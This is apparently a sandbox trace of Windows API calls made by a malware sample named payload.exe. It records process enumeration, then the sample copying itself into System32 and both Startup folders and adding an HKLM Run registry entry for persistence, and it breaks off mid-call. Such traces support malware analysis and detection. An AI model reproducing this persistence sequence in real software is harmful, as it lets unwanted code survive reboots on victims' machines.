[0031.939] lstrlenW (lpString="utg2.exe") returned 8 [0031.939] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0031.940] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0031.940] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0031.941] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0031.941] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0031.941] lstrlenW (lpString="notebook.exe") returned 12 [0031.941] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0031.942] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0031.942] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0031.942] lstrlenW (lpString="current.exe") returned 11 [0031.942] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0031.942] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0031.942] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0031.943] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0031.943] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0031.943] lstrlenW (lpString="taskhost.exe") returned 12 [0031.943] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0031.944] lstrlenW (lpString="dllhost.exe") returned 11 [0031.944] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0031.944] lstrlenW (lpString="dllhost.exe") returned 11 [0031.944] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0031.945] lstrlenW (lpString="payload.exe") returned 11 [0031.945] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 0 [0031.945] CloseHandle (hObject=0xe0) returned 1 [0031.945] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5270 | out: hHeap=0x880000) returned 1 [0031.945] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b52b8 | out: hHeap=0x880000) returned 1 [0031.945] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5300 | out: hHeap=0x880000) returned 1 [0031.945] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5320 | out: hHeap=0x880000) returned 1 [0031.945] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5368 | out: hHeap=0x880000) returned 1 [0031.945] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b4a08 | out: hHeap=0x880000) returned 1 [0031.945] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894720 | out: hHeap=0x880000) returned 1 [0031.945] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894758 | out: hHeap=0x880000) returned 1 [0031.945] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894350 | out: hHeap=0x880000) returned 1 [0031.945] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894378 | out: hHeap=0x880000) returned 1 [0031.945] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8947a0 | out: hHeap=0x880000) returned 1 [0031.945] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8943a0 | out: hHeap=0x880000) returned 1 [0031.945] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8bb430 [0031.945] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8cb438 [0031.946] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a08 [0031.946] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a08, Size=0x20) returned 0x8943a0 [0031.946] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8943a0, Size=0x40) returned 0x8b69b0 [0031.946] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a08 [0031.946] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a08, Size=0x20) returned 0x8943a0 [0031.946] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a08 [0031.946] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a08, Size=0x20) returned 0x894378 [0031.946] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a08 [0031.946] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a08, Size=0x20) returned 0x894350 [0031.946] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894350, Size=0x40) returned 0x8b69f8 [0031.946] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8cb438, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload.exe")) returned 0x31 [0031.946] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8db440 [0031.946] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8eb448 [0031.946] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a08 [0031.946] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a08, Size=0x20) returned 0x894350 [0031.946] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894350, Size=0x40) returned 0x8b6a40 [0031.946] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6a40, Size=0x80) returned 0x8b5270 [0031.946] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5270, Size=0x100) returned 0x8b7bb8 [0031.946] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.946] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7bb8 | out: hHeap=0x880000) returned 1 [0031.946] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\payload.exe", lpDst=0x8db440, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\payload.exe") returned 0x20 [0031.946] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8eb448 | out: hHeap=0x880000) returned 1 [0031.947] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8db440 | out: hHeap=0x880000) returned 1 [0031.947] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x1d80020 [0031.947] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a08 [0031.947] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a08, Size=0x20) returned 0x894350 [0031.947] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a08 [0031.947] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a08, Size=0x20) returned 0x8b5938 [0031.947] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76ac0000 [0031.947] GetProcAddress (hModule=0x76ac0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76aed650 [0031.947] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0031.947] lstrlenW (lpString="kernel32.dll") returned 12 [0031.947] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894350 | out: hHeap=0x880000) returned 1 [0031.947] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0031.947] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5938 | out: hHeap=0x880000) returned 1 [0031.947] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0031.947] CreateFileW (lpFileName="C:\\Windows\\System32\\payload.exe" (normalized: "c:\\windows\\system32\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0031.948] ReadFile (in: hFile=0xe0, lpBuffer=0x1d80020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1d80020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0031.957] WriteFile (in: hFile=0xe4, lpBuffer=0x1d80020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1d80020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0031.959] ReadFile (in: hFile=0xe0, lpBuffer=0x1d80020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1d80020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0031.959] CloseHandle (hObject=0xe4) returned 1 [0031.961] CloseHandle (hObject=0xe0) returned 1 [0031.961] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a08 [0031.961] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a08, Size=0x20) returned 0x8b5938 [0031.961] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a08 [0031.961] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a08, Size=0x20) returned 0x8b58e8 [0031.961] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76ac0000 [0031.961] GetProcAddress (hModule=0x76ac0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76aed650 [0031.961] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0031.961] lstrlenW (lpString="kernel32.dll") returned 12 [0031.961] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b58e8 | out: hHeap=0x880000) returned 1 [0031.961] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0031.961] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5938 | out: hHeap=0x880000) returned 1 [0031.961] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x1d80020 | out: hHeap=0x880000) returned 1 [0031.965] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a08 [0031.965] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a08, Size=0x20) returned 0x8b5938 [0031.965] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5938, Size=0x40) returned 0x8b6a40 [0031.965] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6a40, Size=0x80) returned 0x8db458 [0031.965] lstrlenW (lpString="C:\\Windows\\System32\\payload.exe") returned 31 [0031.965] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0031.965] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x5c) returned 0x8b5270 [0031.965] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0031.965] RegSetValueExW (in: hKey=0xe0, lpValueName="payload.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\payload.exe", cbData=0x3e | out: lpData="C:\\Windows\\System32\\payload.exe") returned 0x0 [0031.966] RegCloseKey (hKey=0xe0) returned 0x0 [0031.966] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5270 | out: hHeap=0x880000) returned 1 [0031.966] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0031.966] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8db458 | out: hHeap=0x880000) returned 1 [0031.966] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8dd440 [0031.966] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8ed448 [0031.966] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a08 [0031.966] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a08, Size=0x20) returned 0x8b5938 [0031.966] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5938, Size=0x40) returned 0x8b6a40 [0031.966] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6a40, Size=0x80) returned 0x8db458 [0031.966] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8db458, Size=0x100) returned 0x8b7bb8 [0031.966] lstrlenW (lpString="") returned 0 [0031.966] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.966] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8c) returned 0x8b7cc0 [0031.966] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0031.966] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x8ed448, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x8ed448*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0031.966] RegCloseKey (hKey=0xe0) returned 0x0 [0031.966] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7cc0 | out: hHeap=0x880000) returned 1 [0031.966] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.966] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8c) returned 0x8b7cc0 [0031.966] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0031.967] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x8ed448, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0031.967] RegCloseKey (hKey=0xe4) returned 0x0 [0031.967] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7cc0 | out: hHeap=0x880000) returned 1 [0031.967] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0031.967] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.967] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7bb8 | out: hHeap=0x880000) returned 1 [0031.967] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe", lpDst=0x8dd440, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe") returned 0x68 [0031.967] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ed448 | out: hHeap=0x880000) returned 1 [0031.967] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dd440 | out: hHeap=0x880000) returned 1 [0031.967] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x1d80020 [0031.967] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a38 [0031.967] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a38, Size=0x20) returned 0x8b5938 [0031.967] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a38 [0031.967] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a38, Size=0x20) returned 0x8b58e8 [0031.967] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76ac0000 [0031.967] GetProcAddress (hModule=0x76ac0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76aed650 [0031.967] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0031.967] lstrlenW (lpString="kernel32.dll") returned 12 [0031.967] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5938 | out: hHeap=0x880000) returned 1 [0031.967] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0031.967] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b58e8 | out: hHeap=0x880000) returned 1 [0031.967] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0031.968] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0031.972] ReadFile (in: hFile=0xe4, lpBuffer=0x1d80020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1d80020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0031.981] WriteFile (in: hFile=0xe8, lpBuffer=0x1d80020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1d80020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0031.982] ReadFile (in: hFile=0xe4, lpBuffer=0x1d80020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1d80020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0031.982] CloseHandle (hObject=0xe8) returned 1 [0031.983] CloseHandle (hObject=0xe4) returned 1 [0031.983] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a38 [0031.983] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a38, Size=0x20) returned 0x8b58e8 [0031.984] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a38 [0031.984] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a38, Size=0x20) returned 0x8b5938 [0031.984] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76ac0000 [0031.984] GetProcAddress (hModule=0x76ac0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76aed650 [0031.984] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0031.984] lstrlenW (lpString="kernel32.dll") returned 12 [0031.984] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5938 | out: hHeap=0x880000) returned 1 [0031.984] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0031.984] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b58e8 | out: hHeap=0x880000) returned 1 [0031.984] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x1d80020 | out: hHeap=0x880000) returned 1 [0031.987] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8dd440 [0031.987] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8ed448 [0031.987] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a38 [0031.987] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a38, Size=0x20) returned 0x8b58e8 [0031.987] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b58e8, Size=0x40) returned 0x8b6a40 [0031.987] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6a40, Size=0x80) returned 0x8db458 [0031.987] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8db458, Size=0x100) returned 0x8b7bb8 [0031.987] lstrlenW (lpString="") returned 0 [0031.987] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.987] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8c) returned 0x8b7cc0 [0031.987] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0031.988] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x8ed448, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0031.988] RegCloseKey (hKey=0xe4) returned 0x0 [0031.988] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7cc0 | out: hHeap=0x880000) returned 1 [0031.988] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0031.988] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.988] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7bb8 | out: hHeap=0x880000) returned 1 [0031.988] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe", lpDst=0x8dd440, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe") returned 0x49 [0031.988] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ed448 | out: hHeap=0x880000) returned 1 [0031.988] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dd440 | out: hHeap=0x880000) returned 1 [0031.988] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x1d80020 [0031.988] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a38 [0031.988] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a38, Size=0x20) returned 0x8b58e8 [0031.988] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a38 [0031.988] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4a38, Size=0x20) returned 0x8b5938 [0031.988] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76ac0000 [0031.988] GetProcAddress (hModule=0x76ac0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76aed650 [0031.988] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0031.988] lstrlenW (lpString="kernel32.dll") returned 12 [0031.988] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b58e8 | out: hHeap=0x880000) returned 1 [0031.988] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0031.988] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5938 | out: hHeap=0x880000) returned 1 [0031.988] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0031.988] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0031.989] ReadFile (in: hFile=0xe4, lpBuffer=0x1d80020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1d80020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0031.997] WriteFile (in: hFile=0xe8, lpBuffer=0x1d80020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, 